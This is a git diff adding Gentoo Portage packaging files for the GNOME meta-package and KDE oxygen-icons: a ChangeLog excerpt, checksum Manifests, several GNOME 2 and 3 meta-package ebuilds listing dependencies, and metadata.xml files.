+  29 May 2002; Spider <spider@gentoo.org> gnome-2.0.0-beta5-r8.ebuild:
+  Some recent updates to add gdm, fix gdm and update gdm the last few
+  releases. seems I forgot to save my changelog, sorry.  
+
+*gnome-2.0.0-beta5-r5 (28 May 2002)
+  28 May 2002; Spider <spider@gentoo.org> gnome-2.0.0-beta5-r6.ebuild:
+  gnome games
+  fix for libglade that bumped version propagates into gnome-terminal
+  
+*gnome-2.0.0-beta5-r5 (28 May 2002)
+  28 May 2002; Spider <spider@gentoo.org> gnome-2.0.0-beta5-r5.ebuild:
+  lots of new versions :
+  gtk+ pango atk glib libgnome* libbonobo nautilus eel gnome-session
+gnome-panel gnome-applets gnome-utils libgtkhtml yelp gedit 
+
+
+*gnome-2.0.0-beta5-r4 (27 May 2002)
+  27 May 2002; Spider <spider@gentoo.org> gnome-2.0.0-beta5-r4.ebuild:
+  gnome-vfs, sawfish, rep-gtk and librep are upgraded
+  reflected the ebuild for the gnome-vfs only, since sawfish still
+  doesn't build. *sigh*
+  removing old versions
+
+*gnome-2.0.0_beta5-r3 (25 May 2002)
+  25 May 2002; Karl Trygve Kalleberg <karltk@gentoo.org> gnome-2.0.0_beta5-r3.ebuild files/digest-gnome-2.0.0_beta5-r3:
+  The glib ebuild was fixed.
+  Removed gnome-2.0.0_beta5-r2.ebuild files/digest-gnome-2.0.0_beta5-r2
+
+*gnome-2.0.0-beta5-r2 (23 May 2002)
+  23 May 2002; Spider <spider@gentoo.org> gnome-2.0.0-beta5-r2.ebuild:
+  Metacity was upgraded
+
+*gnome-2.0.0-beta5-r1 (23 May 2002)
+  22 May 2002; Spider <spider@gentoo.org> gnome-2.0.0-beta5-r1.ebuild:
+  Seems a lot of new programs were released yesterday
+
+*gnome-2.0.0-beta5 (22 May 2002)
+  22 May 2002; Spider <spider@gentoo.org> gnome-2.0.0-beta5.ebuild:
+  the Gnome2 desktop dependency build
+ 
+
+*gnome-1.4-r3 (1 Feb 2002)
+  29 Aug 2002; Spider <spider@gentoo.org> gnome-1.4-r3.ebuild :
+  update dependencies to require old versions of gnome things.
+  
+  1 Feb 2002; G.Bevin <gbevin@gentoo.org> ChangeLog :
+  
+  Added initial ChangeLog which should be updated whenever the package is
+  updated in any way. This changelog is targetted to users. This means that the
+  comments should well explained and written in clean English. The details about
+  writing correct changelogs are explained in the skel.ChangeLog file which you
+  can find in the root directory of the portage repository.
diff --git a/gnome-base/gnome/Manifest b/gnome-base/gnome/Manifest
new file mode 100644
index 00000000..2fd19eeb
--- /dev/null
+++ b/gnome-base/gnome/Manifest
@@ -0,0 +1,6 @@
+EBUILD gnome-2.32.1-r2.ebuild 5633 SHA256 4b5202857c5f7cc555e182156f58ab0a8ed0111039256e0137025628d84c0ba6 SHA512 baa186194733bfd2b548cab6be853a6208642410ad109b1489a5397e74ff7d81cd3a4642cb6674aecb0c4f0edf4c410a1fa60b1852b329b61224935348d1e7c6 WHIRLPOOL 6c0f1691f3ba29487fb4fd9d1d1f89f08b59bfd7f79363a32d8086d81edc3d9e9b8c24a5f6a9421e67dd192f667fb8fa61ad077d7d8e16333a032a643cff497f
+EBUILD gnome-3.4.1.ebuild 3286 SHA256 a22b2780e2af6012b002ac2344cddcdb5c8204ac2da8be6d56d16020eb7436ec SHA512 b318deaa04eadcc41d3f041b11a56d51bbcf26efcd89836457bfa158a77d62686631efe884ede1553d8e84407f8508dfb621671685ce9f0eed92766ff20841c1 WHIRLPOOL 21c1d95ce4494349fe3b9444b3722fe2bed6ee1b257869262cd3d148beb88c534adac1f3169e32d595b510d6cf7940fa650cf5f64dfd94889a6a96a8f0577c12
+EBUILD gnome-3.6.2-r1.ebuild 2688 SHA256 adf2c581c5696df06ff6a9e5842864374620f5d20bedcdb680db3cf498d3fbcb SHA512 95757e30ebd747049c8e731c6982fe87258d3c3e34c63e22530aa9a4074ac78885599b123e6d459878588e6335ab87a824bdb1c8c868e4c81de69b8d1e962db9 WHIRLPOOL 94f941b1671dbce9d73b1f4f4a65232e9c4a9aad8795e35ab0b66f3d160e439343950ac27089fc258000c869730e2840a18cd855c7659fc45fee45dbddd9028c
+EBUILD gnome-3.6.2.ebuild 2614 SHA256 bf3a396af05b9355cfe7eea098f96e0015de9d9c31d081a50dba2476595bfcbb SHA512 9bf1fd64b8dbfa7b3d81ff0a35cfca5cbc12ff2ee7c3cce32b5efa57ba1271e40e60f5c07f6f65f4db9a108e39852a370d53ec4d7bbb61b57276ee687276bbb0 WHIRLPOOL efbf52179dbc7d6bedac95e0356f5816310a239ee5a4652815b453c6ec34386a57f9f1a5db9a278a36c8d8df8b6d548fada0e324e30c5e9f3bde3c7cc2d94203
+MISC ChangeLog 60760 SHA256 57da818b1ea15eb3c761f5b0e0b15c781b53c518837259867a64e5a0cccedfef SHA512 be5306cbb7f7b5300bf41b64f17e9469b3c88a6873fa55539cc7059021d451613ee5ee1c2baf4f15583cead46e2b77fd46ca8c9478340857bceb237e25e05e9b WHIRLPOOL 037192615e61f23ed66542cdcf556c4e6d8db200b3abeb7a488a3812049f7b3b2c82135623e8c169cdaf4f2c74d586863af0b9a16e498189af33e074699dd2fc
+MISC metadata.xml 376 SHA256 207bb8410f0620f37bc86f90175a0c4144e36a3eb9c3d79e41212c9cc32f24df SHA512 066d9fafe04c0311d89c20adf64a6010ff5a1df26ed64cb9ed3f71456283e1153b941caadd8085515d044d7eca09052617f24846757f5c9aa34f0e826a8ce3b4 WHIRLPOOL f58cbf9bae54931bc3fa3fed3242c085c70a0b6e9f4d043955705575223206e89ea2007bdca698a1a21afc897666362df53f59a2b7cb2265a30753081e854cde
diff --git a/gnome-base/gnome/gnome-2.32.1-r2.ebuild b/gnome-base/gnome/gnome-2.32.1-r2.ebuild
new file mode 100644
index 00000000..559cec44
--- /dev/null
+++ b/gnome-base/gnome/gnome-2.32.1-r2.ebuild
@@ -0,0 +1,192 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/gnome-base/gnome/gnome-2.32.1-r2.ebuild,v 1.9 2012/11/05 21:30:07 ulm Exp $
+
+EAPI="4"
+
+DESCRIPTION="Meta package for the GNOME desktop"
+HOMEPAGE="http://www.gnome.org/"
+
+LICENSE="metapackage"
+SLOT="2.0"
+
+# when unmasking for an arch
+# double check none of the deps are still masked !
+KEYWORDS="alpha amd64 ia64 ppc ppc64 sparc x86"
+
+IUSE="accessibility cdr cups dvdr ldap mono policykit"
+
+S=${WORKDIR}
+
+# FIXME: bump gstreamer to 0.10.26
+# XXX: lower gdm to 2.20 since we still keep 2.28 masked
+# Lower epiphany to 2.26 since 2.28 is not ready to go stable
+RDEPEND="!<x11-libs/gtk+-3.2.4-r1:3
+	>=dev-libs/glib-2.26.1:2
+	>=x11-libs/gtk+-2.22.1-r1:2
+	>=x11-libs/gdk-pixbuf-2.22.1:2
+	>=dev-libs/atk-1.32.0
+	>=x11-libs/pango-1.28.3
+
+	>=dev-libs/libxml2-2.7.2:2
+	>=dev-libs/libxslt-1.1.22
+
+	>=media-libs/audiofile-0.2.7
+	>=x11-libs/libxklavier-5.0
+	>=media-libs/libart_lgpl-2.3.21
+
+	>=dev-libs/libIDL-0.8.14
+	>=gnome-base/orbit-2.14.19:2
+
+	>=x11-libs/libwnck-2.30.6:1
+	>=x11-wm/metacity-2.30.3
+
+	>=gnome-base/gnome-keyring-2.32.1
+	>=gnome-base/libgnome-keyring-2.32.0
+	>=app-crypt/seahorse-2.32.0
+
+	>=gnome-base/gconf-2.32.0-r1:2
+	>=net-libs/libsoup-2.32.1:2.4
+	>=gnome-base/dconf-0.5.1-r2
+
+	>=gnome-base/libbonobo-2.24.3
+	>=gnome-base/libbonoboui-2.24.4
+	>=gnome-base/libgnome-2.32.0
+	>=gnome-base/libgnomecanvas-2.30.2
+	>=gnome-base/libglade-2.6.4:2.0
+
+	>=gnome-extra/bug-buddy-2.32.0:2
+	>=gnome-base/libgnomekbd-2.32.0
+	>=gnome-base/gnome-settings-daemon-2.32.1
+	>=gnome-base/gnome-control-center-2.32.0:2
+
+	>=gnome-base/nautilus-2.32.1
+
+	>=media-libs/gstreamer-0.10.30.2:0.10
+	>=media-libs/gst-plugins-base-0.10.30.4:0.10
+	>=media-libs/gst-plugins-good-0.10.23:0.10
+	>=gnome-extra/gnome-media-2.32.0:2
+	<gnome-extra/gnome-media-2.91:2
+	>=media-sound/sound-juicer-2.32.0
+	>=dev-libs/totem-pl-parser-2.32.1
+	>=media-video/totem-2.32.0
+	>=media-video/cheese-2.32.0
+
+	>=media-gfx/eog-2.32.1:1
+
+	>=www-client/epiphany-2.30.6
+	>=app-arch/file-roller-2.32.1
+	>=gnome-extra/gcalctool-5.32.1
+
+	>=gnome-extra/gconf-editor-2.32.0
+	>=gnome-base/gdm-2.20.11
+	>=x11-libs/gtksourceview-2.10.5:2.0
+	>=app-editors/gedit-2.30.4
+
+	>=app-text/evince-2.32.0
+
+	>=gnome-base/gnome-desktop-2.32.1:2
+	>=gnome-base/gnome-session-2.32.1
+	>=dev-libs/libgweather-2.30.3:2
+	<dev-libs/libgweather-2.91:2
+	>=gnome-base/gnome-applets-2.32.0
+	>=gnome-base/gnome-panel-2.32.1
+	>=gnome-base/gnome-menus-2.30.5
+	>=x11-themes/gnome-icon-theme-2.31.0
+	>=x11-themes/gnome-themes-2.32.1-r1
+	>=x11-themes/gnome-themes-standard-3.0.2
+	>=gnome-extra/deskbar-applet-2.32.0
+	>=gnome-extra/hamster-applet-2.32.1
+
+	>=x11-themes/gtk-engines-2.20.2:2
+	>=x11-themes/gnome-backgrounds-2.32.0
+
+	>=x11-libs/vte-0.26.2:0
+	>=x11-terms/gnome-terminal-2.32.1
+
+	>=gnome-extra/gucharmap-2.32.1
+
+	>=gnome-extra/gnome-utils-2.32.0
+
+	>=gnome-extra/gnome-games-2.28.2
+	>=gnome-base/librsvg-2.32.1:2
+
+	>=gnome-extra/gnome-system-monitor-2.28.2
+	>=gnome-base/libgtop-2.28.2:2
+
+	>=x11-libs/startup-notification-0.10
+
+	>=gnome-extra/gnome-user-docs-2.32.0
+	>=gnome-extra/yelp-2.30.2
+	>=gnome-extra/zenity-2.32.1
+
+	>=net-analyzer/gnome-netstatus-2.28.2
+	>=net-analyzer/gnome-nettool-2.32.0
+
+	cdr? ( >=app-cdr/brasero-2.32.1 )
+	dvdr? ( >=app-cdr/brasero-2.32.1 )
+
+	>=gnome-extra/gtkhtml-3.32.1:3.14
+	>=mail-client/evolution-2.32.1-r1:2.0
+	>=gnome-extra/evolution-data-server-2.32.1-r1
+	>=gnome-extra/evolution-webcal-2.32.0
+
+	>=net-misc/vino-2.32.0
+
+	>=app-admin/pessulus-2.30.4
+	ldap? (	>=app-admin/sabayon-2.30.1 )
+
+	>=gnome-extra/gnome-screensaver-2.30.2
+	>=x11-misc/alacarte-0.13.2
+	>=gnome-extra/gnome-power-manager-2.32.0
+
+	>=net-misc/vinagre-2.30.3
+	>=gnome-extra/swfdec-gnome-2.30.1
+
+	accessibility? (
+		>=gnome-extra/libgail-gnome-1.20.3
+		>=gnome-extra/at-spi-1.32.0:1
+		>=app-accessibility/dasher-4.11
+		>=app-accessibility/gnome-mag-0.16.3:1
+		>=app-accessibility/gnome-speech-0.4.25:1
+		>=app-accessibility/gok-2.30.1:1
+		>=app-accessibility/orca-2.32.1
+		>=gnome-extra/mousetweaks-2.32.1 )
+	cups? ( >=app-admin/system-config-printer-gnome-1.3.3 )
+
+	mono? (
+		>=dev-dotnet/gtk-sharp-2.12.10:2
+		>=app-misc/tomboy-1.4.2 )
+	policykit? ( gnome-extra/polkit-gnome )"
+DEPEND=""
+PDEPEND="|| ( >=gnome-base/gvfs-1.6.6[gdu] >=gnome-base/gvfs-1.6.6[udisks] )"
+# Broken from assumptions of gnome-vfs headers being included in nautilus headers,
+# which isn't the case with nautilus-2.22, bug #216019
+#	>=app-admin/gnome-system-tools-2.32.0
+#	>=app-admin/system-tools-backends-2.8
+
+# Development tools
+#   scrollkeeper
+#   pkgconfig
+#   intltool
+#   gtk-doc
+#   gnome-doc-utils
+
+pkg_postinst() {
+# FIXME: Rephrase to teach about using different WMs instead, as metacity is the default anyway
+# FIXME: but first check WINDOW_MANAGER is still honored in 2.24. gnome-session-2.24 might have lost
+# FIXME: support for it, but we don't ship with gnome-session-2.24 yet
+#	elog "Note that to change windowmanager to metacity do: "
+#	elog " export WINDOW_MANAGER=\"/usr/bin/metacity\""
+#	elog "of course this works for all other window managers as well"
+
+	elog "The main file alteration monitoring functionality is"
+	elog "provided by >=glib-2.16. Note that on a modern Linux system"
+	elog "you do not need the USE=fam flag on it if you have inotify"
+	elog "support in your linux kernel ( >=2.6.13 ) enabled."
+	elog "USE=fam on glib is however useful for other situations,"
+	elog "such as Gentoo/FreeBSD systems. A global USE=fam can also"
+	elog "be useful for other packages that do not use the new file"
+	elog "monitoring API yet that the new glib provides."
+	elog
+}
diff --git a/gnome-base/gnome/gnome-3.4.1.ebuild b/gnome-base/gnome/gnome-3.4.1.ebuild
new file mode 100644
index 00000000..65e00a6a
--- /dev/null
+++ b/gnome-base/gnome/gnome-3.4.1.ebuild
@@ -0,0 +1,105 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/gnome-base/gnome/gnome-3.4.1.ebuild,v 1.3 2012/11/05 21:30:07 ulm Exp $
+
+EAPI="4"
+
+DESCRIPTION="Meta package for GNOME 3, merge this package to install"
+HOMEPAGE="http://www.gnome.org/"
+
+LICENSE="metapackage"
+SLOT="2.0" # Cannot be installed at the same time as gnome-2
+
+# when unmasking for an arch
+# double check none of the deps are still masked !
+KEYWORDS="~amd64 ~x86"
+
+IUSE="accessibility +bluetooth +cdr cups +extras +fallback"
+
+S=${WORKDIR}
+
+# TODO: check accessibility completeness
+# GDM-3.0 integrates very nicely with GNOME Shell
+RDEPEND="
+	>=gnome-base/gnome-core-libs-${PV}[cups?]
+	>=gnome-base/gnome-core-apps-${PV}[cups?,bluetooth?,cdr?]
+
+	>=gnome-base/gdm-${PV}
+
+	>=x11-wm/mutter-${PV}
+	>=gnome-base/gnome-shell-${PV}[bluetooth?]
+
+	>=x11-themes/gnome-backgrounds-${PV}
+	>=x11-themes/gnome-icon-theme-extras-3.4
+	x11-themes/sound-theme-freedesktop
+
+	accessibility? (
+		>=app-accessibility/at-spi2-atk-2.4
+		>=app-accessibility/at-spi2-core-2.4.1
+		>=app-accessibility/caribou-0.4.2
+		>=app-accessibility/orca-${PV}
+		>=gnome-extra/mousetweaks-${PV} )
+	extras? ( >=gnome-base/gnome-extra-apps-${PV} )
+	fallback? (
+		>=gnome-base/gnome-applets-${PV}
+		>=gnome-base/gnome-fallback-${PV} )"
+DEPEND=""
+PDEPEND="|| ( >=gnome-base/gvfs-1.12.1[udisks] >=gnome-base/gvfs-1.12.1[gdu] )"
+# Broken from assumptions of gnome-vfs headers being included in nautilus headers,
+# which isn't the case with nautilus-2.22, bug #216019
+#	>=app-admin/gnome-system-tools-2.32.0
+#	>=app-admin/system-tools-backends-2.8
+
+# gnome-cups-manager isn't needed, printing support is in gnome-control-center
+
+# Not ported:
+#   bug-buddy-2.32
+#   sound-juicer-2.32
+#
+# Not ported, don't build:
+#	gnome-extra/evolution-webcal-2.32.0
+
+# These don't work with gsettings/dconf
+#	>=app-admin/pessulus-2.30.4
+#	ldap? (	>=app-admin/sabayon-2.30.1 )
+
+# I'm not sure what all is in a11y for GNOME 3 yet ~nirbheek
+#	accessibility? (
+#		>=gnome-extra/libgail-gnome-1.20.3
+#		>=gnome-extra/at-spi-1.32.0:1
+#		>=app-accessibility/dasher-4.11
+#		>=app-accessibility/gnome-mag-0.16.3:1
+#		>=app-accessibility/gnome-speech-0.4.25:1
+#		>=app-accessibility/gok-2.30.1:1
+#		>=app-accessibility/orca-2.32.1
+#		>=gnome-extra/mousetweaks-2.32.1 )
+
+# Useless with GNOME Shell
+#	>=gnome-extra/deskbar-applet-2.32.0
+#	>=gnome-extra/hamster-applet-2.32.1
+
+# Development tools
+#   scrollkeeper
+#   pkgconfig
+#   intltool
+#   gtk-doc
+#   gnome-doc-utils
+#   itstool
+#   yelp-tools
+
+#pkg_postinst() {
+# gnome-wm is gone, session files are now used by gnome-session to decide which
+# windowmanager etc to use. Need to document this
+#
+# FIXME: Is this still relevant?
+#
+#	elog "The main file alteration monitoring functionality is"
+#	elog "provided by >=glib-2.16. Note that on a modern Linux system"
+#	elog "you do not need the USE=fam flag on it if you have inotify"
+#	elog "support in your linux kernel ( >=2.6.13 ) enabled."
+#	elog "USE=fam on glib is however useful for other situations,"
+#	elog "such as Gentoo/FreeBSD systems. A global USE=fam can also"
+#	elog "be useful for other packages that do not use the new file"
+#	elog "monitoring API yet that the new glib provides."
+#	elog
+#}
diff --git a/gnome-base/gnome/gnome-3.6.2-r1.ebuild b/gnome-base/gnome/gnome-3.6.2-r1.ebuild
new file mode 100644
index 00000000..310c2d1a
--- /dev/null
+++ b/gnome-base/gnome/gnome-3.6.2-r1.ebuild
@@ -0,0 +1,88 @@
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/gnome-base/gnome/gnome-3.6.2.ebuild,v 1.7 2013/01/06 09:34:33 ago Exp $
+
+EAPI="4"
+
+DESCRIPTION="Meta package for GNOME 3, merge this package to install"
+HOMEPAGE="http://www.gnome.org/"
+
+LICENSE="metapackage"
+SLOT="2.0" # Cannot be installed at the same time as gnome-2
+
+# when unmasking for an arch
+# double check none of the deps are still masked !
+KEYWORDS="~alpha ~amd64 ~ia64 ~ppc ~ppc64 ~sparc ~x86"
+
+IUSE="accessibility +bluetooth +cdr cups +extras +fallback gnome-core-apps gnome-core-libs"
+
+S=${WORKDIR}
+
+# TODO: check accessibility completeness
+# GDM-3.0 integrates very nicely with GNOME Shell
+RDEPEND="
+	gnome-core-libs? ( >=gnome-base/gnome-core-libs-${PV}[cups?] )
+	gnome-core-apps? ( >=gnome-base/gnome-core-apps-${PV}[cups?,bluetooth?,cdr?] )
+
+	>=gnome-base/gdm-${PV}
+
+	>=x11-wm/mutter-${PV}
+	>=gnome-base/gnome-shell-${PV}[bluetooth?]
+
+	>=x11-themes/gnome-backgrounds-3.6.1
+	>=x11-themes/gnome-icon-theme-extras-3.6.2
+	x11-themes/sound-theme-freedesktop
+
+	accessibility? (
+		>=app-accessibility/at-spi2-atk-2.6.2
+		>=app-accessibility/at-spi2-core-2.6.2
+		>=app-accessibility/caribou-0.4.4.2
+		>=app-accessibility/orca-${PV}
+		>=gnome-extra/mousetweaks-3.6.0 )
+	extras? ( >=gnome-base/gnome-extra-apps-${PV} )
+	fallback? (
+		>=gnome-base/gnome-applets-3.6.0
+		>=gnome-base/gnome-fallback-${PV} )"
+DEPEND=""
+PDEPEND="|| ( >=gnome-base/gvfs-1.12.1[udisks] >=gnome-base/gvfs-1.12.1[gdu] )"
+# Broken from assumptions of gnome-vfs headers being included in nautilus headers,
+# which isn't the case with nautilus-2.22, bug #216019
+#	>=app-admin/gnome-system-tools-2.32.0
+#	>=app-admin/system-tools-backends-2.8
+
+# gnome-cups-manager isn't needed, printing support is in gnome-control-center
+
+# Not ported:
+#   bug-buddy-2.32
+#   sound-juicer-2.32
+#
+# Not ported, don't build:
+#	gnome-extra/evolution-webcal-2.32.0
+
+# These don't work with gsettings/dconf
+#	>=app-admin/pessulus-2.30.4
+#	ldap? (	>=app-admin/sabayon-2.30.1 )
+
+# I'm not sure what all is in a11y for GNOME 3 yet ~nirbheek
+#	accessibility? (
+#		>=gnome-extra/libgail-gnome-1.20.3
+#		>=gnome-extra/at-spi-1.32.0:1
+#		>=app-accessibility/dasher-4.11
+#		>=app-accessibility/gnome-mag-0.16.3:1
+#		>=app-accessibility/gnome-speech-0.4.25:1
+#		>=app-accessibility/gok-2.30.1:1
+#		>=app-accessibility/orca-2.32.1
+#		>=gnome-extra/mousetweaks-2.32.1 )
+
+# Useless with GNOME Shell
+#	>=gnome-extra/deskbar-applet-2.32.0
+#	>=gnome-extra/hamster-applet-2.32.1
+
+# Development tools
+#   scrollkeeper
+#   pkgconfig
+#   intltool
+#   gtk-doc
+#   gnome-doc-utils
+#   itstool
+#   yelp-tools
diff --git a/gnome-base/gnome/gnome-3.6.2.ebuild b/gnome-base/gnome/gnome-3.6.2.ebuild
new file mode 100644
index 00000000..310c2d1a
--- /dev/null
+++ b/gnome-base/gnome/gnome-3.6.2.ebuild
@@ -0,0 +1,88 @@
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/gnome-base/gnome/gnome-3.6.2.ebuild,v 1.7 2013/01/06 09:34:33 ago Exp $
+
+EAPI="4"
+
+DESCRIPTION="Meta package for GNOME 3, merge this package to install"
+HOMEPAGE="http://www.gnome.org/"
+
+LICENSE="metapackage"
+SLOT="2.0" # Cannot be installed at the same time as gnome-2
+
+# when unmasking for an arch
+# double check none of the deps are still masked !
+KEYWORDS="~alpha ~amd64 ~ia64 ~ppc ~ppc64 ~sparc ~x86"
+
+IUSE="accessibility +bluetooth +cdr cups +extras +fallback gnome-core-apps gnome-core-libs"
+
+S=${WORKDIR}
+
+# TODO: check accessibility completeness
+# GDM-3.0 integrates very nicely with GNOME Shell
+RDEPEND="
+	gnome-core-libs? ( >=gnome-base/gnome-core-libs-${PV}[cups?] )
+	gnome-core-apps? ( >=gnome-base/gnome-core-apps-${PV}[cups?,bluetooth?,cdr?] )
+
+	>=gnome-base/gdm-${PV}
+
+	>=x11-wm/mutter-${PV}
+	>=gnome-base/gnome-shell-${PV}[bluetooth?]
+
+	>=x11-themes/gnome-backgrounds-3.6.1
+	>=x11-themes/gnome-icon-theme-extras-3.6.2
+	x11-themes/sound-theme-freedesktop
+
+	accessibility? (
+		>=app-accessibility/at-spi2-atk-2.6.2
+		>=app-accessibility/at-spi2-core-2.6.2
+		>=app-accessibility/caribou-0.4.4.2
+		>=app-accessibility/orca-${PV}
+		>=gnome-extra/mousetweaks-3.6.0 )
+	extras? ( >=gnome-base/gnome-extra-apps-${PV} )
+	fallback? (
+		>=gnome-base/gnome-applets-3.6.0
+		>=gnome-base/gnome-fallback-${PV} )"
+DEPEND=""
+PDEPEND="|| ( >=gnome-base/gvfs-1.12.1[udisks] >=gnome-base/gvfs-1.12.1[gdu] )"
+# Broken from assumptions of gnome-vfs headers being included in nautilus headers,
+# which isn't the case with nautilus-2.22, bug #216019
+#	>=app-admin/gnome-system-tools-2.32.0
+#	>=app-admin/system-tools-backends-2.8
+
+# gnome-cups-manager isn't needed, printing support is in gnome-control-center
+
+# Not ported:
+#   bug-buddy-2.32
+#   sound-juicer-2.32
+#
+# Not ported, don't build:
+#	gnome-extra/evolution-webcal-2.32.0
+
+# These don't work with gsettings/dconf
+#	>=app-admin/pessulus-2.30.4
+#	ldap? (	>=app-admin/sabayon-2.30.1 )
+
+# I'm not sure what all is in a11y for GNOME 3 yet ~nirbheek
+#	accessibility? (
+#		>=gnome-extra/libgail-gnome-1.20.3
+#		>=gnome-extra/at-spi-1.32.0:1
+#		>=app-accessibility/dasher-4.11
+#		>=app-accessibility/gnome-mag-0.16.3:1
+#		>=app-accessibility/gnome-speech-0.4.25:1
+#		>=app-accessibility/gok-2.30.1:1
+#		>=app-accessibility/orca-2.32.1
+#		>=gnome-extra/mousetweaks-2.32.1 )
+
+# Useless with GNOME Shell
+#	>=gnome-extra/deskbar-applet-2.32.0
+#	>=gnome-extra/hamster-applet-2.32.1
+
+# Development tools
+#   scrollkeeper
+#   pkgconfig
+#   intltool
+#   gtk-doc
+#   gnome-doc-utils
+#   itstool
+#   yelp-tools
diff --git a/gnome-base/gnome/metadata.xml b/gnome-base/gnome/metadata.xml
new file mode 100644
index 00000000..39a001df
--- /dev/null
+++ b/gnome-base/gnome/metadata.xml
@@ -0,0 +1,10 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<herd>gnome</herd>
+<use>
+  <flag name="extras">Install additional GNOME applications</flag>
+  <flag name="fallback">Install <pkg>gnome-base/gnome-panel</pkg> and
+    <pkg>x11-wm/metacity</pkg> for the GNOME 3 fallback mode</flag>
+</use>
+</pkgmetadata>
diff --git a/kde-base/oxygen-icons/Manifest b/kde-base/oxygen-icons/Manifest
new file mode 100644
index 00000000..3e8bc6f2
--- /dev/null
+++ b/kde-base/oxygen-icons/Manifest
@@ -0,0 +1,9 @@
+DIST fdo-icons-rogentos1.tar.gz 507041 SHA256 5ff12b6861abd002e95777a43fb71afb56024ba4684e0a212a990ad8aa1a428d SHA512 3b95d5116984ef802d4ad12cba856096f5f481216a42fe09334929d338179a7d55a15754aa8e20dca08c6fdb19ad096e96d24b9e7dd5198b0d93eb379f3e3d3d WHIRLPOOL a66b53dcb3888c5896da05a5abaf8f0295fd8b28a4ce23d0a972ea5705dad89d2c14d48eddafe5b7ea291934ba217f8fee1b0f1d4ed7f6b77579cb96dfddc98b
+DIST oxygen-icons-4.9.0.repacked.tar.xz 29205792 SHA256 ed2b1045fe772bef2682c7cbdb6f9053e93f5e94207fb9e1dc3e55accedd3120 SHA512 7feb0f705978dd1714d370ef8e04c30770305c7a76fe8dedefec4d4bbd50b71ffa9af97059f90fc9e8786e199f61e85c0cac64cad3bd7603fe8ac2144c59b4cf WHIRLPOOL d291956233fdeae924ecf9fd5d6aeea102ebe5d01ebc800548f514c565e8134f055a4649a0eaa66b13cea11b43860c5693dfe3c8447596cb4a5714aa5317888a
+DIST oxygen-icons-4.9.0.tar.xz 278552072 SHA256 0d6fc5be39160fc5a0421f9bf6fecf736e054196945d437777832e423bb28be8 SHA512 2ff4a74e664f7b4e26da50d324f61cb989a3d248281e8f37afa06b633820f4fe39e7c799f60075a039a8aa25ce74e422bc68ad401e09f52ba54047d6c88c17e3 WHIRLPOOL 56ebb7522f278c21355a9b4e6a637fc61fb65425874fb91971124a15a24f6bd57094bde2090d0b83e33e88185ce4dbcc6ebd6944ffe6139a7aee397b375337cd
+EBUILD oxygen-icons-4.10.4.ebuild 1107 SHA256 73384d84bdcfd8ce546480b89aea256c8ef821d88a41a7612e833d6d973e8d40 SHA512 175ace4efd32466957c38603230d72e8d1f11fe3d5810e3060be31ead7d7e32ca22dc7372ddcbc6ac2c1dc620b28c00653280c7510e76a0f10ca641ddb47196c WHIRLPOOL 7d56841b069566468ac99ea23faca2d2b95631d5db083e28498eef25f260d7f3252fe9b44d79010e72403f682f2b6631ae41290128c124f2b2f0305e145cbb35
+EBUILD oxygen-icons-4.9.0.ebuild 1069 SHA256 4531d5fbc37de0f6908fb904cba088f419b186b945030e522dabc335dfc8d062 SHA512 aff38582a914321f2c7b0f05e3a95b8b0dd8cf57e973049bf18e28d81bbec1053bf9bcf428adf23a761fd8f1d5038ccdb739d2f942dd1bf10b98b1891b816e45 WHIRLPOOL d94270b98461248db752a54373c86dbfe767bcf1a98c4ea6092d28ac25a7ac2bfae0c3e4da9e716efa93abd8c96d5f72c25bd36e782a31e03b328f6e7ea2a599
+EBUILD oxygen-icons-4.9.1.ebuild 1069 SHA256 4531d5fbc37de0f6908fb904cba088f419b186b945030e522dabc335dfc8d062 SHA512 aff38582a914321f2c7b0f05e3a95b8b0dd8cf57e973049bf18e28d81bbec1053bf9bcf428adf23a761fd8f1d5038ccdb739d2f942dd1bf10b98b1891b816e45 WHIRLPOOL d94270b98461248db752a54373c86dbfe767bcf1a98c4ea6092d28ac25a7ac2bfae0c3e4da9e716efa93abd8c96d5f72c25bd36e782a31e03b328f6e7ea2a599
+EBUILD oxygen-icons-4.9.2.ebuild 1163 SHA256 400393a238664d8eb3805f289f3412ec87df470a8c1372891d10452031f80618 SHA512 e3ea7bf8e931c4e99595df0eafb4407c9089e128d63c26bf5c7265224d64adffa85b4cb60f2f88dce6e6b0bc131cdb052e1fbba773cb08df33260bcf0cc42d6a WHIRLPOOL 12e174681258193500804bbda3833763b2d1eb49163f608f55d9f09dcc1ca38d86180a456e789432cd0db090afe01e21613aa32c306c309ab75e8c229cc6c064
+EBUILD oxygen-icons-4.9.3.ebuild 1107 SHA256 73384d84bdcfd8ce546480b89aea256c8ef821d88a41a7612e833d6d973e8d40 SHA512 175ace4efd32466957c38603230d72e8d1f11fe3d5810e3060be31ead7d7e32ca22dc7372ddcbc6ac2c1dc620b28c00653280c7510e76a0f10ca641ddb47196c WHIRLPOOL 7d56841b069566468ac99ea23faca2d2b95631d5db083e28498eef25f260d7f3252fe9b44d79010e72403f682f2b6631ae41290128c124f2b2f0305e145cbb35
+MISC metadata.xml 157 SHA256 01f6fa4357ce08e8b0f7900a51fa78c7f060fefc7c7da98acaec1e283dd59892 SHA512 657d6b0a31ceb7ac10bedfd5cbd634d4ff47938bd2f321203f0233e53686f7e0fd460e81f82793804895c7e97cfa472c1ca44b93314574262ee8cc5745a3efd0 WHIRLPOOL 785331909f1834cdd5d797ad484ea0e35c3e44c79a8a7517a6fb5de926acd181abd57910c8d960fb2e11ea38ddea336bca309af16fcc2df68fe4b602bca120b3
diff --git a/kde-base/oxygen-icons/metadata.xml b/kde-base/oxygen-icons/metadata.xml
new file mode 100644
index 00000000..a23f444b
--- /dev/null
+++ b/kde-base/oxygen-icons/metadata.xml
@@ -0,0 +1,5 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+	<herd>kde</herd>
+</pkgmetadata>
